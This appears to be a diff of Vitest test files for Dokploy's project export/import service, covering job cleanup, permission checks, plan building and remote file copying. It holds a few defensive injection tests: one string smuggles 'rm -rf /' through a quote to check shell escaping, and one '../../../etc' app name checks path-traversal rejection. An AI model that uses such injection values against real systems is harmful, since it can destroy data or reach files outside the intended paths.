const importId = "terminal-past-ttl-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "done" });
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredImports(farFuture);
expect(expired.map((j) => j.importId)).toContain(importId);
expect(getImportJob(importId)).toBeUndefined();
await expect(readdir(jobDir)).rejects.toThrow();
});
});
@@ -0,0 +1,65 @@
import {
assertNoActiveTransfer,
createExportJob,
createImportJob,
createImportJobIfNoneActive,
getImportJob,
updateExportJob,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { describe, expect, it } from "vitest";
describe("assertNoActiveTransfer (T-4.2)", () => {
it("throws when the user has an in-progress export", () => {
createExportJob("export-rl-1", "user-rl-1", "org-1");
updateExportJob("export-rl-1", { status: "capturing" });
expect(() => assertNoActiveTransfer("user-rl-1")).toThrow(TRPCError);
});
it("throws when the user has an in-progress import", () => {
createImportJob("import-rl-1", "user-rl-2", "org-1");
updateImportJob("import-rl-1", { status: "applying" });
expect(() => assertNoActiveTransfer("user-rl-2")).toThrow(TRPCError);
});
it("does not throw once the job reaches a terminal status", () => {
createExportJob("export-rl-2", "user-rl-3", "org-1");
updateExportJob("export-rl-2", { status: "done" });
createImportJob("import-rl-2", "user-rl-3", "org-1");
updateImportJob("import-rl-2", { status: "done" });
expect(() => assertNoActiveTransfer("user-rl-3")).not.toThrow();
});
it("does not throw for a different user's in-progress job", () => {
createExportJob("export-rl-3", "user-rl-4", "org-1");
updateExportJob("export-rl-3", { status: "capturing" });
expect(() => assertNoActiveTransfer("user-rl-someone-else")).not.toThrow();
});
});
describe("createImportJobIfNoneActive (T-5.11)", () => {
it("the second of two back-to-back calls for the same user fails, even with no active job at the time of either's own separate check", () => {
createImportJobIfNoneActive("import-atomic-1", "user-atomic-1", "org-1");
expect(() =>
createImportJobIfNoneActive("import-atomic-2", "user-atomic-1", "org-1"),
).toThrow(TRPCError);
expect(getImportJob("import-atomic-1")).toBeDefined();
expect(getImportJob("import-atomic-2")).toBeUndefined();
});
it("still allows a different user's call to proceed", () => {
createImportJobIfNoneActive("import-atomic-3", "user-atomic-2", "org-1");
expect(() =>
createImportJobIfNoneActive("import-atomic-4", "user-atomic-3", "org-1"),
).not.toThrow();
expect(getImportJob("import-atomic-4")).toBeDefined();
});
});
@@ -0,0 +1,52 @@
import type { Manifest } from "@dokploy/server/services/project-export-import";
import {
migrateManifest,
TRANSFER_FORMAT,
TRANSFER_FORMAT_VERSION,
UnsupportedBundleVersionError,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseManifest: Manifest = {
format: TRANSFER_FORMAT,
formatVersion: TRANSFER_FORMAT_VERSION,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0-test", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
};
describe("migrateManifest", () => {
it("returns a v1 manifest unchanged (identity)", () => {
const result = migrateManifest(baseManifest);
expect(result).toEqual(baseManifest);
});
it("throws UnsupportedBundleVersionError for a bundle newer than this install supports", () => {
const future: Manifest = {
...baseManifest,
formatVersion: TRANSFER_FORMAT_VERSION + 1,
};
expect(() => migrateManifest(future)).toThrow(
UnsupportedBundleVersionError,
);
expect(() => migrateManifest(future)).toThrow(/newer version of Dokploy/i);
});
});
@@ -0,0 +1,108 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
let memberToReturn:
| {
id: string;
role: string;
userId: string;
organizationId: string;
accessedProjects: string[];
}
| undefined = {
id: "member-1",
role: "owner",
userId: "user-1",
organizationId: "org-1",
accessedProjects: [],
};
let projectToReturn: { projectId: string; organizationId: string } | undefined =
{ projectId: "project-1", organizationId: "org-1" };
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
member: {
findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
},
projects: {
findFirst: vi.fn(() => Promise.resolve(projectToReturn)),
},
},
},
}));
const { assertTransferPermission } = await import(
"@dokploy/server/services/project-export-import"
);
const ctxFor = (organizationId: string) => ({
user: { id: "user-1" },
session: { activeOrganizationId: organizationId },
});
beforeEach(() => {
memberToReturn = {
id: "member-1",
role: "owner",
userId: "user-1",
organizationId: "org-1",
accessedProjects: [],
};
projectToReturn = { projectId: "project-1", organizationId: "org-1" };
});
describe("assertTransferPermission", () => {
it("allows an owner to export", async () => {
memberToReturn = { ...memberToReturn!, role: "owner" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).resolves.toBeDefined();
});
it("allows an admin to export", async () => {
memberToReturn = { ...memberToReturn!, role: "admin" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).resolves.toBeDefined();
});
it("rejects a plain member with FORBIDDEN", async () => {
memberToReturn = { ...memberToReturn!, role: "member" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("rejects a user with no membership in the active org (cross-org access)", async () => {
memberToReturn = undefined;
await expect(
assertTransferPermission(ctxFor("org-2") as any, "project-1", "export"),
).rejects.toBeDefined();
});
it("rejects NOT_FOUND when projectId belongs to a different organization, even for an owner", async () => {
projectToReturn = { projectId: "project-1", organizationId: "org-2" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects NOT_FOUND when projectId doesn't exist at all", async () => {
projectToReturn = undefined;
await expect(
assertTransferPermission(
ctxFor("org-1") as any,
"project-missing",
"export",
),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("skips the project lookup entirely when no projectId is given", async () => {
projectToReturn = undefined;
await expect(
assertTransferPermission(ctxFor("org-1") as any, undefined, "export"),
).resolves.toBeDefined();
});
});
@@ -0,0 +1,367 @@
import type {
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
buildPlan,
requirementKey,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const vaultRequirement: Requirement = {
kind: "vault",
originalId: "vault-src",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
providerName: "prod",
providerType: "hashicorp",
secretKeys: ["DB_PASS"],
};
const networkRequirement: Requirement = {
kind: "network",
originalId: "net-src",
configIncluded: true,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
name: "shared-net",
};
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
};
const applicationService: Record<string, unknown> = {
kind: "application",
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
serverId: "server-src-1",
domains: [{ domainId: "dom-1", host: "existing.example.com" }],
ports: [{ portId: "port-src-1", publishedPort: 8080 }],
};
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: { application: 1 },
},
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [{ environmentId: "env-1", name: "production" }],
services: [applicationService],
shared: {},
},
requirements: [vaultRequirement, networkRequirement, serverRequirement],
warnings: [],
dumps: [],
};
const fakeDb = (): TransferDb =>
({
query: {
vaultProvider: { findMany: async () => [] },
network: {
findMany: async () => [],
findFirst: async () => ({
networkId: "net-dest-existing",
name: "shared-net",
organizationId: "org-dest",
}),
},
server: {
findMany: async () => [
{
serverId: "server-dest-1",
name: "prod",
organizationId: "org-dest",
},
],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
projects: {
findFirst: async () => ({
projectId: "project-existing",
name: "my-project",
organizationId: "org-dest",
}),
},
domains: {
findMany: async () => [
{ domainId: "dom-existing-1", host: "existing.example.com" },
],
},
ports: {
findMany: async () => [
{
portId: "port-existing-1",
publishedPort: 8080,
application: { serverId: "server-dest-1" },
},
],
},
},
}) as any as TransferDb;
describe("buildPlan", () => {
it("marks a missing vault requirement's services as pending, with a blocking warning", async () => {
const plan = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
resolutions: {
[requirementKey(serverRequirement)]: {
requirementKey: requirementKey(serverRequirement),
action: "reuse",
targetId: "server-dest-1",
},
},
},
);
expect(plan.resolutions[requirementKey(vaultRequirement)]).toEqual({
requirementKey: requirementKey(vaultRequirement),
action: "skip",
});
expect(plan.pendingServices).toEqual([
{
serviceId: "app-1",
serviceType: "application",
reason: 'Missing vault "prod"',
},
]);
expect(
plan.warnings.some(
(w) =>
w.code === "MISSING_REQUIREMENT_BLOCKING" &&
w.severity === "blocking",
),
).toBe(true);
});
it("flags an existing host as a domain conflict", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.conflicts).toContainEqual(
expect.objectContaining({
kind: "domain",
value: "existing.example.com",
existingId: "dom-existing-1",
}),
);
});
it("flags an existing project name as a conflict with a suggested rename option", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.conflicts).toContainEqual({
kind: "projectName",
value: "my-project",
existingId: "project-existing",
usedBy: [],
options: ["rename"],
});
expect(plan.conflictResolutions?.["projectName:my-project"]).toEqual({
action: "rename",
value: "my-project (imported)",
});
});
it("flags a network conflict only when the requirement's resolution is 'create'", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.resolutions[requirementKey(networkRequirement)]?.action).toBe(
"create",
);
expect(plan.conflicts).toContainEqual(
expect.objectContaining({ kind: "network", value: "shared-net" }),
);
});
it("flags a port conflict on the destination server the service resolves to", async () => {
const plan = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
resolutions: {
[requirementKey(serverRequirement)]: {
requirementKey: requirementKey(serverRequirement),
action: "reuse",
targetId: "server-dest-1",
},
},
},
);
expect(plan.serverMap["server-src-1"]).toBe("server-dest-1");
expect(plan.conflicts).toContainEqual(
expect.objectContaining({ kind: "port", value: "8080" }),
);
});
it("regenerates app names by default, and keeps the original when keepAppNames is set and available", async () => {
const regenerated = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(regenerated.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
const kept = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
keepAppNames: true,
checkAppNameAvailable: async () => true,
},
);
expect(kept.appNameMap["my-app-abc123"]).toBe("my-app-abc123");
});
it("retries appName generation against the DB on a simulated collision", async () => {
let findFirstCalls = 0;
const db = {
...fakeDb(),
query: {
...(fakeDb() as any).query,
applications: {
findFirst: async () => {
findFirstCalls += 1;
return findFirstCalls <= 2
? { applicationId: "app-taken", appName: "whatever" }
: undefined;
},
},
},
} as any as TransferDb;
const plan = await buildPlan(db, snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(findFirstCalls).toBeGreaterThanOrEqual(3);
expect(plan.appNameMap["my-app-abc123"]).toBeDefined();
expect(plan.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
});
it("gives up after MAX_APP_NAME_RETRIES consecutive collisions instead of looping forever", async () => {
const db = {
...fakeDb(),
query: {
...(fakeDb() as any).query,
applications: {
findFirst: async () => ({
applicationId: "app-taken",
appName: "whatever",
}),
},
},
} as any as TransferDb;
await expect(
buildPlan(db, snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
}),
).rejects.toThrow(/unique appName/i);
});
it("excludes redis from the dump count summary (it has no dump support)", async () => {
const dumpSnapshot: Snapshot = {
...snapshot,
manifest: {
...snapshot.manifest,
scope: {
...snapshot.manifest.scope,
dumps: { mode: "embed" },
},
},
resources: {
...snapshot.resources,
services: [
applicationService,
{
kind: "postgres",
postgresId: "pg-1",
name: "my-db",
appName: "my-db-abc123",
environmentId: "env-1",
},
{
kind: "redis",
redisId: "redis-1",
name: "my-cache",
appName: "my-cache-abc123",
environmentId: "env-1",
},
],
},
requirements: [],
};
const plan = await buildPlan(fakeDb(), dumpSnapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.summary.dumps).toBe(1);
});
});
@@ -0,0 +1,248 @@
import { existsSync } from "node:fs";
import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
Plan,
Snapshot,
TransferDb,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import { postApply } from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
vi.mock("@dokploy/server/services/mount", () => ({
createFileMount: vi.fn(async () => {}),
}));
const { createFileMount } = await import("@dokploy/server/services/mount");
let root: string;
let workDir: string;
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
});
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-postapply-root-"));
workDir = await mkdtemp(join(tmpdir(), "transfer-postapply-work-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
await rm(workDir, { recursive: true, force: true });
});
const composeService = {
kind: "compose",
composeId: "compose-1",
appName: "my-compose-abc123",
environmentId: "env-1",
serverId: null,
};
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [composeService],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: { "my-compose-abc123": "my-compose-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
const result: TransferResult = {
idMap: { compose: { "compose-1": "compose-new-1" } },
appNameMap: plan.appNameMap,
pendingRequirements: [],
pendingServices: [],
rotations: [],
restoreErrors: [],
warnings: [],
};
const fakeDb = {
query: {
certificates: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
},
} as any as TransferDb;
describe("postApply", () => {
it("copies compose files to the new appName, rewriting docker-compose.yml, and reports it as a deploy candidate", async () => {
const sourceDir = join(workDir, "files", "compose", "my-compose-abc123");
await mkdir(sourceDir, { recursive: true });
await writeFile(
join(sourceDir, "docker-compose.yml"),
"services:\n web:\n container_name: my-compose-abc123-web\n",
);
await writeFile(join(sourceDir, ".env"), "APP_NAME=my-compose-abc123\n");
const { deployCandidates } = await postApply(
fakeDb,
snapshot,
plan,
result,
local(workDir),
{
pathsFn: fakePaths as any,
},
);
const destDir = join(root, "compose", "my-compose-xyz789");
expect(existsSync(join(destDir, "docker-compose.yml"))).toBe(true);
const composeContent = await readFile(
join(destDir, "docker-compose.yml"),
"utf8",
);
expect(composeContent).toContain("my-compose-xyz789-web");
expect(composeContent).not.toContain("my-compose-abc123");
const envContent = await readFile(join(destDir, ".env"), "utf8");
expect(envContent).toContain("APP_NAME=my-compose-xyz789");
expect(deployCandidates).toEqual([
{ serviceId: "compose-new-1", serviceType: "compose", serverId: null },
]);
});
it("excludes pending services from deployCandidates", async () => {
const pendingPlan: Plan = {
...plan,
pendingServices: [
{
serviceId: "compose-1",
serviceType: "compose",
reason: "Missing registry",
},
],
};
const { deployCandidates } = await postApply(
fakeDb,
snapshot,
pendingPlan,
result,
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(deployCandidates).toEqual([]);
});
});
describe("postApply writes file-type mounts to disk (T-6.6)", () => {
it("calls createFileMount for every file-type mount belonging to a newly created service", async () => {
(createFileMount as any).mockClear();
const dbWithMounts = {
query: {
certificates: { findFirst: async () => undefined },
mounts: {
findMany: async () => [
{
mountId: "mount-file-1",
type: "file",
filePath: "/app/nginx.conf",
},
],
},
},
} as any as TransferDb;
await postApply(dbWithMounts, snapshot, plan, result, local(workDir), {
pathsFn: fakePaths as any,
});
expect(createFileMount).toHaveBeenCalledWith("mount-file-1");
expect(createFileMount).toHaveBeenCalledTimes(1);
});
});
describe("postApply rejects an unsafe appName (T-9.2)", () => {
it("reports a postApplyError instead of joining a path-traversal appName into a local path", async () => {
const maliciousSnapshot: Snapshot = {
...snapshot,
resources: {
...snapshot.resources,
services: [
{
...composeService,
appName: "../../../etc",
},
],
},
};
const maliciousPlan: Plan = { ...plan, appNameMap: {} };
const { deployCandidates, postApplyErrors } = await postApply(
fakeDb,
maliciousSnapshot,
maliciousPlan,
result,
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(deployCandidates).toEqual([]);
expect(postApplyErrors).toHaveLength(1);
expect(postApplyErrors[0]?.error).toContain("Unsafe path in bundle");
});
});
@@ -0,0 +1,189 @@
import { existsSync, readFileSync, writeFileSync } from "node:fs";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
copyDir,
copyFile,
escapeShellArg,
exists,
fileSize,
readFile,
remove,
runToFile,
writeFile as writeRemoteFile,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const { pipeMock } = vi.hoisted(() => ({ pipeMock: vi.fn() }));
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
return {
...actual,
pipeBetweenServers: (
args: Parameters<typeof actual.pipeBetweenServers>[0],
) =>
args.source.serverId || args.target.serverId
? pipeMock(args)
: actual.pipeBetweenServers(args),
};
},
);
const local = (path: string) => ({ serverId: null, path });
describe("escapeShellArg", () => {
it("wraps a plain value in single quotes", () => {
expect(escapeShellArg("app-foo")).toBe("'app-foo'");
});
it("neutralizes an embedded single quote (command injection attempt)", () => {
const malicious = "foo'; rm -rf / #";
expect(escapeShellArg(malicious)).toBe("'foo'\\''; rm -rf / #'");
});
});
describe("local transfers (serverId null on both sides)", () => {
let base: string;
beforeEach(async () => {
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-"));
});
afterEach(async () => {
await rm(base, { recursive: true, force: true });
});
it("copies a directory tree with copyDir, honouring excludes", async () => {
const source = join(base, "source");
await mkdir(join(source, "nested"), { recursive: true });
await mkdir(join(source, "node_modules"), { recursive: true });
await writeFile(join(source, "a.txt"), "hello");
await writeFile(join(source, "nested", "b.txt"), "world");
await writeFile(join(source, "node_modules", "x.js"), "skip me");
const dest = join(base, "dest", "deep");
await copyDir(local(source), local(dest), { exclude: ["node_modules"] });
expect(readFileSync(join(dest, "a.txt"), "utf8")).toBe("hello");
expect(readFileSync(join(dest, "nested", "b.txt"), "utf8")).toBe("world");
expect(existsSync(join(dest, "node_modules"))).toBe(false);
});
it("copies a single file with copyFile, creating the parent directory", async () => {
const source = join(base, "dump.sql");
writeFileSync(source, Buffer.from([0, 1, 2, 255]));
const dest = join(base, "out", "copied-dump.sql");
await copyFile(local(source), local(dest));
expect(readFileSync(dest)).toEqual(Buffer.from([0, 1, 2, 255]));
});
it("writes from memory and reads back with writeFile/readFile", async () => {
const target = join(base, "nested", "it's.json");
await writeRemoteFile(local(target), '{"a":1}');
expect((await readFile(local(target))).toString()).toBe('{"a":1}');
expect(await exists(local(target))).toBe(true);
expect(await fileSize(local(target))).toBe(7);
});
it("captures a command's stdout into a file with runToFile", async () => {
const target = join(base, "captured.txt");
await runToFile(null, "printf 'abc'", local(target));
expect(readFileSync(target, "utf8")).toBe("abc");
});
it("removes the target when the command fails in runToFile", async () => {
const target = join(base, "partial.txt");
await expect(
runToFile(null, "printf 'abc'; exit 3", local(target)),
).rejects.toThrow();
expect(existsSync(target)).toBe(false);
});
it("remove is a no-op for a missing path and exists reports false", async () => {
const target = join(base, "missing");
await expect(remove(local(target))).resolves.toBeUndefined();
expect(await exists(local(target))).toBe(false);
});
});
describe("transfers between different servers go through pipeBetweenServers", () => {
let base: string;
beforeEach(async () => {
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-ssh-"));
pipeMock.mockReset();
});
afterEach(async () => {
await rm(base, { recursive: true, force: true });
});
it("copyFile removes the local target when the remote side fails", async () => {
const target = join(base, "app-one.yml");
pipeMock.mockImplementation(async () => {
writeFileSync(target, "partial");
throw new Error("source exited with code 1: cat: No such file");
});
await expect(
copyFile(
{
serverId: "server-1",
path: "/etc/dokploy/traefik/dynamic/app-one.yml",
},
local(target),
),
).rejects.toThrow(/exited with code 1: cat: No such file/);
expect(existsSync(target)).toBe(false);
expect(pipeMock.mock.calls[0]?.[0].source).toEqual({
serverId: "server-1",
command: "cat '/etc/dokploy/traefik/dynamic/app-one.yml'",
});
});
it("copyDir escapes the paths and the excludes on both ends", async () => {
pipeMock.mockResolvedValue(0);
await copyDir(
{ serverId: "server-1", path: "/remote/dir" },
{ serverId: "server-2", path: "/it's/local" },
{ exclude: [".git", "it's"] },
);
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
source: {
serverId: "server-1",
command:
"tar -czf - --exclude='.git' --exclude='it'\\''s' -C '/remote/dir' .",
},
target: {
serverId: "server-2",
command:
"mkdir -p '/it'\\''s/local' && tar -xzf - -C '/it'\\''s/local'",
},
});
});
it("runToFile streams a command from one server into a file on another", async () => {
pipeMock.mockResolvedValue(0);
await runToFile("db-server", "pg_dump x | gzip", {
serverId: "build-server",
path: "/etc/dokploy/project-export-import/x/dumps/pg.sql.gz",
});
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
source: { serverId: "db-server", command: "pg_dump x | gzip" },
target: {
serverId: "build-server",
command:
"mkdir -p '/etc/dokploy/project-export-import/x/dumps' && cat > '/etc/dokploy/project-export-import/x/dumps/pg.sql.gz'",
},
});
});
});
@@ -0,0 +1,334 @@
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import { detectRequirements } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const baseApplication = {
applicationId: "app-1",
name: "app-1",
env: "",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
owner: null,
repository: null,
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
domains: [],
backups: undefined,
volumeBackups: [],
};
const emptyServiceArrays = {
compose: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
const buildTree = (application: Record<string, unknown>) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [application],
postgres: [],
...emptyServiceArrays,
},
],
});
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
({
query: {
vaultProvider: { findMany: async () => [] },
destinations: { findMany: async () => [] },
registry: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
...overrides,
},
}) as any as TransferDb;
describe("detectRequirements", () => {
it("detects a vault requirement grouping every secretKey referenced", async () => {
const application = {
...baseApplication,
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI=${{vault.prod.API}}",
};
const db = fakeDb({
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const vaultReqs = requirements.filter((r) => r.kind === "vault");
expect(vaultReqs).toHaveLength(1);
expect(vaultReqs[0]).toMatchObject({
kind: "vault",
originalId: "vault-1",
providerName: "prod",
providerType: "hashicorp",
});
expect((vaultReqs[0] as any).secretKeys.sort()).toEqual(["API", "DB_PASS"]);
});
it("merges registry + buildRegistry into one requirement with both roles", async () => {
const application = {
...baseApplication,
registryId: "registry-1",
buildRegistryId: "registry-1",
};
const db = fakeDb({
registry: {
findMany: async () => [
{
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const registryReqs = requirements.filter((r) => r.kind === "registry");
expect(registryReqs).toHaveLength(1);
expect((registryReqs[0] as any).role.sort()).toEqual([
"buildRegistry",
"registry",
]);
});
it("emits a single server requirement with originalId null for services with no serverId", async () => {
const application = { ...baseApplication, serverId: null };
const requirements = await detectRequirements(
fakeDb(),
buildTree(application) as any,
baseScope,
);
const serverReqs = requirements.filter((r) => r.kind === "server");
expect(serverReqs).toHaveLength(1);
expect(serverReqs[0]?.originalId).toBeNull();
expect(serverReqs[0]?.usedBy).toHaveLength(1);
});
it("detects a gitProvider requirement with owner/repo", async () => {
const application = {
...baseApplication,
githubId: "gh-1",
owner: "acme",
repository: "app",
};
const requirements = await detectRequirements(
fakeDb(),
buildTree(application) as any,
baseScope,
);
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
expect(gitReqs).toHaveLength(1);
expect(gitReqs[0]).toMatchObject({
providerType: "github",
originalId: "gh-1",
});
expect((gitReqs[0] as any).repositories).toEqual([
{ owner: "acme", repo: "app" },
]);
});
it("detects a destination requirement from a backup FK", async () => {
const application = {
...baseApplication,
volumeBackups: [{ destinationId: "dest-1" }],
};
const db = fakeDb({
destinations: {
findMany: async () => [
{
destinationId: "dest-1",
bucket: "my-bucket",
endpoint: "s3.example.com",
region: "us-east-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const destReqs = requirements.filter((r) => r.kind === "destination");
expect(destReqs).toHaveLength(1);
expect(destReqs[0]).toMatchObject({
originalId: "dest-1",
bucket: "my-bucket",
endpoint: "s3.example.com",
region: "us-east-1",
});
});
it("resolves network names for referenced networkIds", async () => {
const application = { ...baseApplication, networkIds: ["net-1"] };
const db = fakeDb({
network: {
findMany: async () => [{ networkId: "net-1", name: "shared-net" }],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const networkReqs = requirements.filter((r) => r.kind === "network");
expect(networkReqs).toHaveLength(1);
expect(networkReqs[0]).toMatchObject({
originalId: "net-1",
name: "shared-net",
});
});
it("detects a certificate requirement via customCertResolver, not a direct FK", async () => {
const application = {
...baseApplication,
domains: [
{
domainId: "dom-1",
certificateType: "custom",
customCertResolver: "cert-path-abc",
},
],
};
const db = fakeDb({
certificates: {
findMany: async () => [
{
certificateId: "cert-1",
certificatePath: "cert-path-abc",
certificateData:
"-----BEGIN CERTIFICATE-----\nabc\n-----END CERTIFICATE-----",
serverId: "server-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const certReqs = requirements.filter((r) => r.kind === "certificate");
expect(certReqs).toHaveLength(1);
expect(certReqs[0]?.originalId).toBe("cert-1");
expect((certReqs[0] as any).fingerprint).toMatch(/^[a-f0-9]{64}$/);
expect((certReqs[0] as any).serverId).toBe("server-1");
});
it("dedupes requirements used by multiple services into one entry with combined usedBy", async () => {
const application1 = {
...baseApplication,
applicationId: "app-1",
serverId: "server-1",
};
const application2 = {
...baseApplication,
applicationId: "app-2",
serverId: "server-1",
};
const tree = buildTree(application1) as any;
tree.environments[0].applications.push(application2);
const requirements = await detectRequirements(fakeDb(), tree, baseScope);
